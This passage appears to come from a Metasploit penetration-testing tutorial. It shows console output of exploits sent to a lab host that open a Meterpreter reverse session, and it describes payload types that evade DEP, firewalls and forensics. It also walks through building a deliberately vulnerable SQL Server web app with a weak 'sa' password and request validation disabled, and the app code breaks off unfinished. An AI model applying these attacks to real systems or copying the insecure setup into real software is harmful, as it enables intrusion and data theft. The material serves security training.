exploit ani_loadimage_chunksize [*] Sending HTML page to 10.211.55.128:1047... [*] Sending Adobe JBIG2Decode Memory Corruption Exploit to 10.211.55.128:1046... [*] Sending exploit to 10.211.55.128:1049... [*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP) to 10.211.55.128:1076... [*] Meterpreter session 1 opened (10.211.55.130:9007 -> 10.211.55.128:1077 msf exploit(zenturiprogramchecker_unsafe) > sessions -l 1 Meterpreter 10.211.55.130:9007 -> 10.211.55.128:1077 msf exploit(zenturiprogramchecker_unsafe) > sessions -i 1 Note that ARP cache poisoning will only work on systems in the same subnet as you. This was a great example of how to "force" a user to browse to your site instead of having to entice them to click on a link and automatically exploit them with a variety of attacks. More About Payloads Metasploit contains many different types of payloads, each serving a unique role within the framework. Let's take a brief look at the various types of payloads available and get an idea of when each type should be used. * Inline (Non Staged) + A single payload containing the exploit and full shell code for the selected task. Inline payloads are by design more stable than their counterparts because they contain everything all in one. However some exploits wont support the resulting size of these payloads. * Staged * Stager payloads work in conjunction with stage payloads in order to perform a specific task. A stager establishes a communication channel between the attacker and the victim and reads in a stage payload to execute on the remote host. * Meterpreter + Meterpreter, the short form of Meta-Interpreter is an advanced, multi-faceted payload that operates via dll injection. The Meterpreter resides completely in the memory of the remote host and leaves no traces on the hard drive, making it very difficult to detect with conventional forensic techniques. Scripts and plugins can be loaded and unloaded dynamically as required and Meterpreter development is very strong and constantly evolving. * PassiveX + PassiveX is a payload that can help in circumventing restrictive outbound firewalls. It does this by using an ActiveX control to create a hidden instance of Internet Explorer. Using the new ActiveX control, it communicates with the attacker via HTTP requests and responses. * NoNX + The NX (No eXecute) bit is a feature built into some CPUs to prevent code from executing in certain areas of memory. In Windows, NX is implemented as Data Execution Prevention (DEP). + The Metasploit NoNX payloads are designed to circumvent DEP. * Ord + Ordinal payloads are Windows stager based payloads that have distinct advantages and disadvantages. The advantages being it works on every flavor and language of Windows dating back to Windows 9x without the explicit definition of a return address. They are also extremely tiny. + However two very specific disadvantages make them not the default choice. The first being that it relies on the fact that ws2_32.dll is loaded in the process being exploited before exploitation. The second being that it's a bit less stable than the other stagers. * IPv6 + The Metasploit IPv6 payloads, as the name indicates, are built to function over IPv6 networks. * Reflective DLL injection + Reflective DLL Injection is a technique whereby a stage payload is injected into a compromised host process running in memory, never touching the host hard drive. The VNC and Meterpreter payloads both make use of reflective DLL injection. + You can read more about reflective DLL injection from the creator of the method at http://www.harmonysecurity.com/blog/2008/10/new-paper-reflective-dll-injection.html Create a Vulnerable Web App In order to create our vulnerable web app, you will need to download SQL Server Management Studio Express from: http://www.microsoft.com/downloadS/details.aspx?familyid=C243A5AE-4BD1-4E3D-94B8-5A0F62BF7796&displaylang=en Install SQL Server Managment Studio Express, accepting all of the defaults for the installation then run it via 'Start' -> 'All Programs' -> 'Microsoft SQL Server 2005' -> 'SQL Server Management Studio Express'. When Management Studio starts up, select 'SQL Server Authentication' and connect using the username 'sa' and password of 'password1'. Right-click 'Databases' in the 'Object Explorer' and select 'New Database'. Enter 'WebApp' for the database name and click 'OK'. In the 'Object Explorer', expand 'Databases', and expand the 'WebApp' database. Right-click 'Tables' and select 'New Table'. Create a new table named 'users' with the column names and types as shown below. Save the 'users' table, right-click it and select 'Open Table'. Enter in some sample data into the table and save all of your work. Under the main 'Object Explorer' tree, expand 'Security', then 'Logins'. Right-click 'Logins' and select 'New Login'. In the 'Login - New' window, select 'Search', enter 'aspnet' and click 'Check Names'. Click 'OK' but keep the 'Login - New' window open. Click on properties for ASPNET, and ensure that under user mapping the user account has db_owner and public rights to the WebApp database. Next, we need to create our website to interact with the back-end database we created. Start Notepad and paste the following code into a new document. Save this file as 'C:\Inetpub\wwwroot\Default.aspx'. <%@ Page Language="C#" AutoEventWireup="true" ValidateRequest="false" CodeFile="Default.aspx.cs" Inherits="_Default" %> <%--the ValidateRequest="true" in the page directive will check for // Lastly, create a file containing the following and save it as 'C:\Inetpub\wwwroot\Web.config'.